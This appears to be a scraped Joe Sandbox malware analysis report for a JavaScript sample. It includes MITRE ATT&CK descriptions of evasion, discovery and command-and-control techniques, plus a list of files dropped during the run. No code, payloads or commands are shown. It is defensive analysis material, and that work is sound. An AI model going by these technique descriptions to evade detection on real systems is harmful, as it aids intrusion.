Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 36522792260104347.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\528ad53d-69a3-4919-92a5-abfea6c7c312.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3c23ff.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a580d824-6570-458f-8b45-dfcab496fdaa.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7476

Windows Analysis Report
36522792260104347.js

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre